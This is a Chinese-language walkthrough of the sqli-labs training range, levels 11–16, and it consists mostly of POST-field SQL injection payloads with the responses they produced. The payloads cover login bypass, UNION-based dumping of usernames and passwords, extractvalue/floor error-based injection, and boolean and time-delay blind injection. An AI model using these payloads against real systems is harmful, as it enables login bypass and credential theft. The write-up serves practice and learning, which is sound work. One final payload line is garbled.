sqlilabs靶场记录POST型(二)

接下来就是使用post注入了,这里使用hackbar插件 配合burp

image-20220316205212924

image-20220316205225285

抓包发现post了uname和passwd两个数据

less-11基于错误的- 单引号 -字符型

先基本测试一下

uname=1 & passwd=1		无法登录无回显
uname=1' & passwd=1 version for the right syntax to use near '1' LIMIT 0,1' at line 1
uname=1 & passwd=1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
uname=1" & passwd=1 无法登录无回显
uname=1 & passwd=1" 无法登录无回显

说明是单引号闭合

uname=1' or 1=1# & passwd=1	万能语句可以登进去

uname=1' order by 4# & passwd=1 回显Unknown column '4' in 'order clause'
uname=1' order by 2# & passwd=1 无法登录无回显

说明只有两个字段

开始注数据

uname=-1' union select 1,database() # & passwd=1	Your Password:security

uname=-1' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=1

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# & passwd=1

uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# & passwd=1

uname=-1' union select 1,group_concat(username,password) from users# & passwd=1

less-12基于错误的双引号POST型字符型变形的注入

uname=1 & passwd=1	无法登录无回显
uname=1' & passwd=1 无法登录无回显
uname=1" & passwd=1 version for the right syntax to use near '1") LIMIT 0,1' at line 1

说明是双引号闭合,这里从报错信息可以发现还有一个括号进行保护

uname=1" or 1=1#& passwd=1	version for the right syntax to use near '' at line 1
uname=1") or 1=1#& passwd=1 正常登录进去

extractvalue()函数报错注入

上一关使用了基本查询语句,接下来我们使用mysql函数报错注入,这里选取extractvalue()函数,注意这里的extracectvalue()函数最大爆32位

uname=1")  and extractvalue(1,concat(0x7e,(select database()))) #& passwd=1	

uname=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #& passwd=1

uname=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) #& passwd=1

uname=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #& passwd=1

这里会显示不全

image-20220316212744988

那么我们可以这样写,使用not in()

uname=1")  and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) #& passwd=1

floor()函数报错注入

uname=1") Union select count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x; #& passwd=1

less-13 POST单引号变形双注入

uname=1 & passwd=1	无法登录无回显
uname=1' & passwd=1 version for the right syntax to use near '1') LIMIT 0,1' at line 1
uname=1" & passwd=1 无法登录无回显

说明单引号加括号进行闭合

这里有报错信息的出现,说明可以使用报错注入

uname=1')or 1=1 # & passwd=1	登进去发现没有显示用户信息,显示了一个successfully logged in

image-20220316213759334

当失败时

image-20220316213825162

可以发现有显著的不同,那么这里也可以使用布尔盲注来实现

报错型extractvalue()

uname=1') and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1

报错型floor() 又叫双注入

uname=1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #&passwd=1

布尔盲注

利用 regexp (正则表达式)获取security数据库中 users 表中的列

uname=-1') or 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^userna[a-z]' limit 0,1) -- #&passwd=1		登录成功

uname=-1') or 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usernaa[a-z]' limit 0,1) -- #&passwd=1 登录失败

要注意这里的匹配的username在不断变化

less-14POST单引号变形双注入

就测试一下怎么闭合

uname=1&passwd=1	无法登录无回显
uname=1'&passwd=1 无法登录无回显
uname=1"&passwd=1 version for the right syntax to use near '1" LIMIT 0,1' at line 1
uname=1"or 1=1#&passwd=1 登录成功

说明是双引号闭合

报错型extractvalue()

uname=1"and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1

报错型floor() 又叫双注入

uname=1" union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #&passwd=1

less-15基于布尔型/时间延迟单引号POST型盲注

uname=1&passwd=1   	登录失败无回显		uname=1&passwd=1	登录失败无回显
uname=1&passwd=1' 登录失败无回显 uname=1'&passwd=1 登录失败无回显
uname=1&passwd=1" 登录失败无回显 uname=1"&passwd=1 登录失败无回显

一个报错信息都没有,那么说明是非报错的注入接着测试

uname=1 or 1=1#&passwd=1	登录失败无回显
uname=1' or 1=1#&passwd=1 登录成功
uname=1" or 1=1#&passwd=1 登录失败无回显

这里就知道是单引号闭合

接下来可以使用布尔盲注,或者时间盲注

uname=1' or length(database())=8#&passwd=1	登录成功

当然时间盲注也是可以的

uname=1&passwd=1' or if(length(database())=8,1,sleep(5))-- #

less-16基于bool型/时间延迟的双引号POST型盲注

测试一下闭合方式

uname=1") or 1=1#&passwd=1

image-20220316221510102

太好了

uname=1") or 1=1#&passwd=uname=1&passwd=1") or if(length(database())=8,1,sleep(5))-- #

和上一关语句一个样,接下来就很简单了